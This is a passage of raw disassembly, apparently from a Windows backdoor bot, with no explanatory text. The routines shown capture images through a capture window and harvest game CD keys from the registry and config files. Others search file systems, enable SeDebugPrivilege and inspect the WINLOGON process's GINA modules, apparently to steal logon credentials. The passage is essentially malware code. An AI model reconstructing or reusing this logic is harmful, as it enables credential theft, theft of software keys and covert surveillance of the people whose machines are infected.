jz short loc_4087A4
lea ecx, [ebp+var_14]
push esi
push ecx
lea ecx, [ebp+var_30]
push 0Eh
push ecx
push eax
call ds:dword_423078
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_58]
push 28h
push eax
push [ebp+arg_0]
call ds:dword_423078
cmp ebx, esi
jz short loc_408786
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_484]
push [ebp+var_8]
push eax
push [ebp+arg_0]
call ds:dword_423078
loc_408786: ; CODE XREF: sub_4085A0+1CCj
lea eax, [ebp+var_14]
push esi
push eax
push edi
push [ebp+var_18]
push [ebp+arg_0]
call ds:dword_423078
push [ebp+arg_0]
call ds:dword_423074
push 1
pop esi
loc_4087A4: ; CODE XREF: sub_4085A0+1A2j
push [ebp+var_1C]
call ds:dword_43C57C ; DeleteObject
push [ebp+var_4]
call ds:dword_43C4E0 ; DeleteDC
mov edi, [ebp+var_20]
loc_4087B9: ; CODE XREF: sub_4085A0+70j
push edi
call ds:dword_43C4E0 ; DeleteDC
mov eax, esi
jmp short loc_4087D6
; ---------------------------------------------------------------------------
loc_4087C4: ; CODE XREF: sub_4085A0+C7j
; sub_4085A0+D9j ...
push edi
call ds:dword_43C4E0 ; DeleteDC
push [ebp+var_4]
call ds:dword_43C4E0 ; DeleteDC
loc_4087D4: ; CODE XREF: sub_4085A0+23j
xor eax, eax
loc_4087D6: ; CODE XREF: sub_4085A0+222j
pop edi
pop esi
pop ebx
leave
retn
sub_4085A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4087DB(int,size_t Size,int,int)
sub_4087DB proc near ; CODE XREF: sub_40EE51+46EDp
var_34 = byte ptr -34h
var_20 = dword ptr -20h
Memory = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Size = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push ds:dword_43B0B0
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call ds:dword_43C570
mov edi, eax
cmp edi, ebx
mov [ebp+var_4], edi
jnz short loc_408819
mov eax, esi
jmp loc_4089CF
; ---------------------------------------------------------------------------
loc_408819: ; CODE XREF: sub_4087DB+35j
push edi
call ds:dword_43C5B8 ; IsWindow
test eax, eax
jz short loc_408836
push ebx
push [ebp+Size]
push 40Ah
push edi
call ds:dword_43C674 ; SendMessageA
jmp short loc_408838
; ---------------------------------------------------------------------------
loc_408836: ; CODE XREF: sub_4087DB+47j
xor eax, eax
loc_408838: ; CODE XREF: sub_4087DB+59j
cmp eax, ebx
jnz short loc_408843
loc_40883C: ; CODE XREF: sub_4087DB+88j
; sub_4087DB+BCj
mov ebx, esi
jmp loc_4089C4
; ---------------------------------------------------------------------------
loc_408843: ; CODE XREF: sub_4087DB+5Fj
push edi
call ds:dword_43C5B8 ; IsWindow
test eax, eax
jz short loc_408860
lea eax, [ebp+var_34]
push eax
push 2Ch
push 40Eh
push edi
call ds:dword_43C674 ; SendMessageA
loc_408860: ; CODE XREF: sub_4087DB+71j
cmp [ebp+var_20], ebx
jz short loc_40883C
push edi
call ds:dword_43C5B8 ; IsWindow
test eax, eax
mov edi, 42Ch
jz short loc_408886
push ebx
push ebx
push edi
push [ebp+var_4]
call ds:dword_43C674 ; SendMessageA
mov [ebp+Size], eax
jmp short loc_408889
; ---------------------------------------------------------------------------
loc_408886: ; CODE XREF: sub_4087DB+98j
mov [ebp+Size], ebx
loc_408889: ; CODE XREF: sub_4087DB+A9j
push [ebp+Size] ; Size
call _malloc
cmp eax, ebx
pop ecx
mov [ebp+Memory], eax
jz short loc_40883C
push [ebp+Size] ; Size
call _malloc
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4088B0
push 1
pop ebx
jmp loc_4089C4
; ---------------------------------------------------------------------------
loc_4088B0: ; CODE XREF: sub_4087DB+CBj
push [ebp+var_4]
call ds:dword_43C5B8 ; IsWindow
test eax, eax
jz short loc_4088CD
push [ebp+Memory]
push [ebp+Size]
push edi
push [ebp+var_4]
call ds:dword_43C674 ; SendMessageA
loc_4088CD: ; CODE XREF: sub_4087DB+E0j
push [ebp+Size] ; Size
push [ebp+Memory] ; Src
push esi ; Dst
call _memcpy
mov ecx, [ebp+arg_8]
add esp, 0Ch
cmp ecx, ebx
jg short loc_4088E8
mov ecx, 280h
loc_4088E8: ; CODE XREF: sub_4087DB+106j
mov eax, [ebp+arg_C]
cmp eax, ebx
jg short loc_4088F4
mov eax, 1E0h
loc_4088F4: ; CODE XREF: sub_4087DB+112j
push [ebp+var_4]
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call ds:dword_43C5B8 ; IsWindow
test eax, eax
mov edi, 42Dh
jz short loc_40893E
push esi
push [ebp+Size]
push edi
push [ebp+var_4]
call ds:dword_43C674 ; SendMessageA
loc_40893E: ; CODE XREF: sub_4087DB+153j
push [ebp+var_4]
call ds:dword_43C5B8 ; IsWindow
test eax, eax
jz short loc_40895B
push ebx
push ebx
push 43Dh
push [ebp+var_4]
call ds:dword_43C674 ; SendMessageA
loc_40895B: ; CODE XREF: sub_4087DB+16Ej
push [ebp+var_4]
call ds:dword_43C5B8 ; IsWindow
test eax, eax
jz short loc_40897A
push [ebp+arg_0]
push ebx
push 419h
push [ebp+var_4]
call ds:dword_43C674 ; SendMessageA
loc_40897A: ; CODE XREF: sub_4087DB+18Bj
push [ebp+var_4]
call ds:dword_43C5B8 ; IsWindow
test eax, eax
jz short loc_408997
push [ebp+Memory]
push [ebp+Size]
push edi
push [ebp+var_4]
call ds:dword_43C674 ; SendMessageA
loc_408997: ; CODE XREF: sub_4087DB+1AAj
push [ebp+Memory] ; Memory
call _free
push esi ; Memory
call _free
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_43C5B8 ; IsWindow
test eax, eax
jz short loc_4089C4
push ebx
push ebx
push 40Bh
push [ebp+var_4]
call ds:dword_43C674 ; SendMessageA
loc_4089C4: ; CODE XREF: sub_4087DB+63j
; sub_4087DB+D0j ...
push [ebp+var_4]
call ds:dword_43C6C8 ; DestroyWindow
mov eax, ebx
loc_4089CF: ; CODE XREF: sub_4087DB+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4087DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4089D4(int,size_t Size,int,int,int)
sub_4089D4 proc near ; CODE XREF: sub_40EE51+47A6p
var_90 = byte ptr -90h
var_7C = dword ptr -7Ch
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
Memory = dword ptr -4
arg_0 = dword ptr 8
Size = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 90h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push ds:dword_43B0B0
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call ds:dword_43C570
mov edi, eax
cmp edi, ebx
jnz short loc_408A12
mov eax, esi
jmp loc_408C0E
; ---------------------------------------------------------------------------
loc_408A12: ; CODE XREF: sub_4089D4+35j
push edi
call ds:dword_43C5B8 ; IsWindow
test eax, eax
jz short loc_408A2F
push ebx
push [ebp+Size]
push 40Ah
push edi
call ds:dword_43C674 ; SendMessageA
jmp short loc_408A31
; ---------------------------------------------------------------------------
loc_408A2F: ; CODE XREF: sub_4089D4+47j
xor eax, eax
loc_408A31: ; CODE XREF: sub_4089D4+59j
cmp eax, ebx
jnz short loc_408A3C
loc_408A35: ; CODE XREF: sub_4089D4+8Bj
; sub_4089D4+BCj
mov ebx, esi
jmp loc_408C05
; ---------------------------------------------------------------------------
loc_408A3C: ; CODE XREF: sub_4089D4+5Fj
push edi
call ds:dword_43C5B8 ; IsWindow
test eax, eax
jz short loc_408A5C
lea eax, [ebp+var_90]
push eax
push 2Ch
push 40Eh
push edi
call ds:dword_43C674 ; SendMessageA
loc_408A5C: ; CODE XREF: sub_4089D4+71j
cmp [ebp+var_7C], ebx
jz short loc_408A35
push edi
call ds:dword_43C5B8 ; IsWindow
test eax, eax
jz short loc_408A7F
push ebx
push ebx
push 42Ch
push edi
call ds:dword_43C674 ; SendMessageA
mov [ebp+Size], eax
jmp short loc_408A82
; ---------------------------------------------------------------------------
loc_408A7F: ; CODE XREF: sub_4089D4+96j
mov [ebp+Size], ebx
loc_408A82: ; CODE XREF: sub_4089D4+A9j
push [ebp+Size] ; Size
call _malloc
cmp eax, ebx
pop ecx
mov [ebp+Memory], eax
jz short loc_408A35
push [ebp+Size] ; Size
call _malloc
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_408AA9
push 1
pop ebx
jmp loc_408C05
; ---------------------------------------------------------------------------
loc_408AA9: ; CODE XREF: sub_4089D4+CBj
push edi
call ds:dword_43C5B8 ; IsWindow
test eax, eax
jz short loc_408AC6
push [ebp+Memory]
push [ebp+Size]
push 42Ch
push edi
call ds:dword_43C674 ; SendMessageA
loc_408AC6: ; CODE XREF: sub_4089D4+DEj
push [ebp+Size] ; Size
push [ebp+Memory] ; Src
push esi ; Dst
call _memcpy
mov ecx, [ebp+arg_C]
add esp, 0Ch
cmp ecx, ebx
jg short loc_408AE1
mov ecx, 0A0h
loc_408AE1: ; CODE XREF: sub_4089D4+106j
mov eax, [ebp+arg_10]
cmp eax, ebx
jg short loc_408AEB
push 78h
pop eax
loc_408AEB: ; CODE XREF: sub_4089D4+112j
push edi
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call ds:dword_43C5B8 ; IsWindow
test eax, eax
jz short loc_408B30
push esi
push [ebp+Size]
push 42Dh
push edi
call ds:dword_43C674 ; SendMessageA
loc_408B30: ; CODE XREF: sub_4089D4+14Aj
push edi
call ds:dword_43C5B8 ; IsWindow
test eax, eax
jz short loc_408B4D
lea eax, [ebp+var_64]
push eax
push 60h
push 441h
push edi
call ds:dword_43C674 ; SendMessageA
loc_408B4D: ; CODE XREF: sub_4089D4+165j
push edi
mov [ebp+var_60], ebx
mov [ebp+var_3C], ebx
mov [ebp+var_38], ebx
mov [ebp+var_34], ebx
mov [ebp+var_30], 1
mov [ebp+var_2C], 5
mov [ebp+var_64], 1046Ah
call ds:dword_43C5B8 ; IsWindow
test eax, eax
jz short loc_408B8B
lea eax, [ebp+var_64]
push eax
push 60h
push 440h
push edi
call ds:dword_43C674 ; SendMessageA
loc_408B8B: ; CODE XREF: sub_4089D4+1A3j
push edi
call ds:dword_43C5B8 ; IsWindow
test eax, eax
jz short loc_408BA6
push [ebp+arg_0]
push ebx
push 414h
push edi
call ds:dword_43C674 ; SendMessageA
loc_408BA6: ; CODE XREF: sub_4089D4+1C0j
push edi
call ds:dword_43C5B8 ; IsWindow
test eax, eax
jz short loc_408BBF
push ebx
push ebx
push 43Eh
push edi
call ds:dword_43C674 ; SendMessageA
loc_408BBF: ; CODE XREF: sub_4089D4+1DBj
push edi
call ds:dword_43C5B8 ; IsWindow
test eax, eax
jz short loc_408BDC
push [ebp+Memory]
push [ebp+Size]
push 42Dh
push edi
call ds:dword_43C674 ; SendMessageA
loc_408BDC: ; CODE XREF: sub_4089D4+1F4j
push [ebp+Memory] ; Memory
call _free
push esi ; Memory
call _free
pop ecx
pop ecx
push edi
call ds:dword_43C5B8 ; IsWindow
test eax, eax
jz short loc_408C05
push ebx
push ebx
push 40Bh
push edi
call ds:dword_43C674 ; SendMessageA
loc_408C05: ; CODE XREF: sub_4089D4+63j
; sub_4089D4+D0j ...
push edi
call ds:dword_43C6C8 ; DestroyWindow
mov eax, ebx
loc_408C0E: ; CODE XREF: sub_4089D4+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4089D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_408C13(int,char *Str,int)
sub_408C13 proc near ; CODE XREF: sub_40EE51+5862p
Filename = byte ptr -3F4h
var_2F0 = dword ptr -2F0h
var_F0 = byte ptr -0F0h
Buf = byte ptr -70h
var_C = dword ptr -0Ch
File = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F4h
push ebx
xor ebx, ebx
cmp ds:off_42A894, ebx
mov [ebp+var_C], 80h
jz loc_408DC5
push esi
push edi
mov eax, offset off_42A894
mov esi, offset dword_42A8A0
mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)."
loc_408C43: ; CODE XREF: sub_408C13+1AAj
lea ecx, [ebp+var_4]
push ecx
push 20019h
push ebx
push dword ptr [eax]
push dword ptr [esi-10h]
call ds:dword_43C688 ; RegOpenKeyExA
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_F0]
push eax
push ebx
push ebx
push dword ptr [esi-8]
push [ebp+var_4]
call ds:dword_43C524 ; RegQueryValueExA
test eax, eax
jnz loc_408DAB
mov eax, [esi]
cmp eax, ebx
jz loc_408D6F
push eax
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+Filename]
push offset aSS_3 ; "%s\\%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Filename]
push offset aR ; "r"
push eax ; Filename
call _fopen
add esp, 18h
cmp eax, ebx
mov [ebp+File], eax
jz loc_408DAB
push eax ; File
loc_408CBC: ; CODE XREF: sub_408C13+D4j
lea eax, [ebp+Buf]
push 64h ; MaxCount
push eax ; Buf
call _fgets
add esp, 0Ch
test eax, eax
jz loc_408D64
push dword ptr [esi+4] ; SubStr
lea eax, [ebp+Buf]
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_408CE9
push [ebp+File]
jmp short loc_408CBC
; ---------------------------------------------------------------------------
loc_408CE9: ; CODE XREF: sub_408C13+CFj
push 3Dh ; Val
push dword ptr [esi+4] ; Str
call _strchr
pop ecx
test eax, eax
pop ecx
jz short loc_408D28
lea eax, [ebp+Buf]
push offset Delim ; "="
push eax ; Str
call _strtok
push offset Delim ; "="
push ebx ; Str
call _strtok
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi ; Format
push eax ; Dest
call _sprintf
add esp, 20h
jmp short loc_408D3F
; ---------------------------------------------------------------------------
loc_408D28: ; CODE XREF: sub_408C13+E4j
lea eax, [ebp+Buf]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi ; Format
push eax ; Dest
call _sprintf
add esp, 10h
loc_408D3F: ; CODE XREF: sub_408C13+113j
push ebx ; int
lea eax, [ebp+var_2F0]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40D670
lea eax, [ebp+var_2F0]
push eax
call sub_40BF6F
add esp, 18h
loc_408D64: ; CODE XREF: sub_408C13+B9j
push [ebp+File] ; File
call _fclose
pop ecx
jmp short loc_408DAB
; ---------------------------------------------------------------------------
loc_408D6F: ; CODE XREF: sub_408C13+6Aj
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+var_2F0]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40D670
lea eax, [ebp+var_2F0]
push eax
call sub_40BF6F
add esp, 28h
loc_408DAB: ; CODE XREF: sub_408C13+60j
; sub_408C13+A2j ...
push [ebp+var_4]
call ds:dword_43C5F4 ; RegCloseKey
add esi, 18h
cmp [esi-0Ch], ebx
lea eax, [esi-0Ch]
jnz loc_408C43
pop edi
pop esi
loc_408DC5: ; CODE XREF: sub_408C13+19j
pop ebx
leave
retn
sub_408C13 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408DC8 proc near ; DATA XREF: sub_40EE51+3D67o
Dest = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = dword ptr -218h
var_115 = byte ptr -115h
Str = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0A7h
mov esi, eax
lea edi, [ebp+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+Str]
push eax ; Str
call _strlen
xor ebx, ebx
cmp [ebp+eax+var_115], 5Ch
pop ecx
jnz short loc_408E1D
lea eax, [ebp+Str]
push eax ; Str
call _strlen
pop ecx
mov [ebp+eax+var_115], bl
loc_408E1D: ; CODE XREF: sub_408DC8+3Fj
lea eax, [ebp+var_218]
push eax
push offset unk_42BAEC ; Format
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+var_8], ebx
jnz short loc_408E62
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+var_298]
push eax ; Str
push [ebp+var_29C] ; int
call sub_40D670
add esp, 14h
loc_408E62: ; CODE XREF: sub_408DC8+78j
lea eax, [ebp+Str]
push ebx ; int
push eax ; int
lea eax, [ebp+var_218]
push eax ; int
lea eax, [ebp+var_298]
push [ebp+var_C] ; int
push eax ; Str
push [ebp+var_29C] ; int
call sub_408EE0
push eax
lea eax, [ebp+Dest]
push offset unk_42BABC ; Format
push eax ; Dest
call _sprintf
add esp, 24h
cmp [ebp+var_8], ebx
jnz short loc_408EC0
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+var_298]
push eax ; Str
push [ebp+var_29C] ; int
call sub_40D670
add esp, 14h
loc_408EC0: ; CODE XREF: sub_408DC8+D6j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_10]
call sub_417064
pop ecx
pop ecx
push ebx
call ds:dword_423050
pop edi
pop esi
pop ebx
sub_408DC8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_408EE0(int,char *Str,int,int,int,int)
sub_408EE0 proc near ; CODE XREF: sub_408DC8+B9p
; sub_408EE0+9Ep
var_54C = dword ptr -54Ch
var_34C = dword ptr -34Ch
Dest = byte ptr -248h
var_144 = byte ptr -144h
var_118 = byte ptr -118h
var_117 = byte ptr -117h
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 54Ch
push ebx
push esi
push edi
mov esi, 104h
push [ebp+arg_10]
lea eax, [ebp+Dest]
push offset aS_7 ; "%s\\*"
push esi ; Count
push eax ; Dest
call __snprintf
mov edi, ds:dword_4230B8
add esp, 10h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+Dest]
push eax
call edi
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
mov ebx, offset aSS_3 ; "%s\\%s"
jz short loc_408F9D
loc_408F2C: ; CODE XREF: sub_408EE0+BBj
test [ebp+var_144], 10h
jz short loc_408F89
cmp [ebp+var_118], 2Eh
jnz short loc_408F50
cmp [ebp+var_117], 0
jz short loc_408F89
cmp [ebp+var_117], 2Eh
jz short loc_408F89
loc_408F50: ; CODE XREF: sub_408EE0+5Cj
lea eax, [ebp+var_118]
push eax
lea eax, [ebp+var_34C]
push [ebp+arg_10]
push ebx ; Format
push esi ; Count
push eax ; Dest
call __snprintf
push [ebp+arg_14] ; int
lea eax, [ebp+var_34C]
push eax ; int
push [ebp+arg_C] ; int
push [ebp+arg_8] ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_408EE0
add esp, 2Ch
mov [ebp+arg_14], eax
loc_408F89: ; CODE XREF: sub_408EE0+53j
; sub_408EE0+65j ...
lea eax, [ebp+var_144]
push eax
push [ebp+var_4]
call ds:dword_4230B4 ; FindNextFileA
test eax, eax
jnz short loc_408F2C
loc_408F9D: ; CODE XREF: sub_408EE0+4Aj
push [ebp+var_4]
call ds:dword_4230A8 ; FindClose
push [ebp+arg_C]
lea eax, [ebp+Dest]
push [ebp+arg_10]
push ebx ; Format
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+Dest]
push eax
call edi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_409023
loc_408FD4: ; CODE XREF: sub_408EE0+141j
lea eax, [ebp+var_118]
inc [ebp+arg_14]
push eax
lea eax, [ebp+var_54C]
push [ebp+arg_10]
push offset aFoundSS ; " Found: %s\\%s"
push 200h ; Count
push eax ; Dest
call __snprintf
push 1 ; int
lea eax, [ebp+var_54C]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 28h
lea eax, [ebp+var_144]
push eax
push esi
call ds:dword_4230B4 ; FindNextFileA
test eax, eax
jnz short loc_408FD4
loc_409023: ; CODE XREF: sub_408EE0+F2j
push esi
call ds:dword_4230A8 ; FindClose
mov eax, [ebp+arg_14]
pop edi
pop esi
pop ebx
leave
retn
sub_408EE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409032 proc near ; DATA XREF: sub_40EE51+521Do
Dest = byte ptr -29Ch
var_9C = dword ptr -9Ch
Str = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
push 1
rep movsd
pop esi
mov [eax+90h], esi
call sub_40B785
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_409071
cmp eax, 2
jz short loc_409071
push offset unk_42BD60
jmp loc_4091B0
; ---------------------------------------------------------------------------
loc_409071: ; CODE XREF: sub_409032+2Ej
; sub_409032+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_41510E
pop ecx
test eax, eax
pop ecx
jz loc_4091AB
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
call ds:dword_4230DC
mov esi, ds:dword_4230D8
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov ds:dword_43C2C4, eax
call esi
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov ds:dword_43C2B8, eax
call esi
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov ds:dword_43C4C8, eax
call esi
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov ds:dword_43C2C0, eax
call esi
mov ds:dword_43C2BC, eax
call sub_409204
test eax, eax
mov [ebp+arg_0], eax
jz loc_40917E
mov esi, ds:dword_4230D4
mov edi, 400h
mov ebx, offset word_43B2B8
push edi
push ebx
push offset off_42BC9C
call esi
push edi
mov edi, offset word_43BAB8
push edi
push offset off_42BC84
call esi
cmp [ebp+var_4], 1
push offset dword_43C4D0
push [ebp+arg_0]
jnz short loc_40912A
call sub_40938D
jmp short loc_40912F
; ---------------------------------------------------------------------------
loc_40912A: ; CODE XREF: sub_409032+EFj
call sub_409534
loc_40912F: ; CODE XREF: sub_409032+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_409177
cmp ds:dword_43C4D0, 0
jnz short loc_40915E
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+Dest]
push offset unk_42BC0C ; Format
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 18h
jmp short loc_409191
; ---------------------------------------------------------------------------
loc_40915E: ; CODE XREF: sub_409032+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_40916E
call sub_40966A
jmp short loc_409173
; ---------------------------------------------------------------------------
loc_40916E: ; CODE XREF: sub_409032+133j
call sub_409701
loc_409173: ; CODE XREF: sub_409032+13Aj
pop ecx
push eax
jmp short loc_409183
; ---------------------------------------------------------------------------
loc_409177: ; CODE XREF: sub_409032+101j
push offset unk_42BBC4
jmp short loc_409183
; ---------------------------------------------------------------------------
loc_40917E: ; CODE XREF: sub_409032+B6j
push offset unk_42BB80 ; Format
loc_409183: ; CODE XREF: sub_409032+143j
; sub_409032+14Aj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_409191: ; CODE XREF: sub_409032+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_41510E
pop ecx
pop ecx
push [ebp+var_8]
call ds:dword_4230D0
pop ebx
jmp short loc_4091BE
; ---------------------------------------------------------------------------
loc_4091AB: ; CODE XREF: sub_409032+4Ej
push offset unk_42BB3C ; Format
loc_4091B0: ; CODE XREF: sub_409032+3Aj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_4091BE: ; CODE XREF: sub_409032+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_4091E5
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_9C] ; int
call sub_40D670
add esp, 14h
loc_4091E5: ; CODE XREF: sub_409032+191j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_18]
call sub_417064
pop ecx
pop ecx
push esi
call ds:dword_423050
pop edi
pop esi
sub_409032 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_409204 proc near ; CODE XREF: sub_409032+ACp
String = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, ds:dword_423004
mov ebx, 100h
push edi
push ebx
push 8
call esi
mov edi, ds:dword_4230E4
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call ds:dword_43C2C4
push ebp
push 0
call esi
push eax
call ds:dword_4230E0 ; RtlFreeHeap
push [esp+28h+var_14]
push 8
call esi
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call ds:dword_43C2C4
test eax, eax
jnz short loc_4092F1
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_4092F1
push 1
mov ebx, ebp
pop ecx
cmp eax, ecx
mov [esp+28h+String], ecx
jb short loc_4092F1
loc_40928D: ; CODE XREF: sub_409204+EBj
cmp word ptr [ebx+8], 5
jnz short loc_4092E4
push 0
push 0
call ds:dword_43C2B8
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call ds:dword_43C4C8
test eax, eax
jnz short loc_4092D5
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax ; String
call __strupr
pop ecx
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_409309
loc_4092D5: ; CODE XREF: sub_409204+AAj
test edi, edi
jz short loc_4092E0
push edi
call ds:dword_43C2C0
loc_4092E0: ; CODE XREF: sub_409204+D3j
mov eax, [esp+28h+var_10]
loc_4092E4: ; CODE XREF: sub_409204+8Ej
add ebx, 10h
inc [esp+28h+String]
cmp [esp+28h+String], eax
jbe short loc_40928D
loc_4092F1: ; CODE XREF: sub_409204+6Dj
; sub_409204+7Aj ...
xor edi, edi
loc_4092F3: ; CODE XREF: sub_409204+17Dj
push ebp
push 0
call esi
push eax
call ds:dword_4230E0 ; RtlFreeHeap
mov eax, edi
loc_409301: ; CODE XREF: sub_409204+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_409309: ; CODE XREF: sub_409204+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_409372
lea eax, [edi+80h]
mov [esp+28h+String], eax
loc_40931F: ; CODE XREF: sub_409204+16Cj
add [esp+28h+String], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+String] ; String
call __strupr
pop ecx
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_409386
push offset aMsgina ; "MSGINA"
push [esp+2Ch+String] ; String
call __strupr
pop ecx
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_409364
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_409364: ; CODE XREF: sub_409204+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_40931F
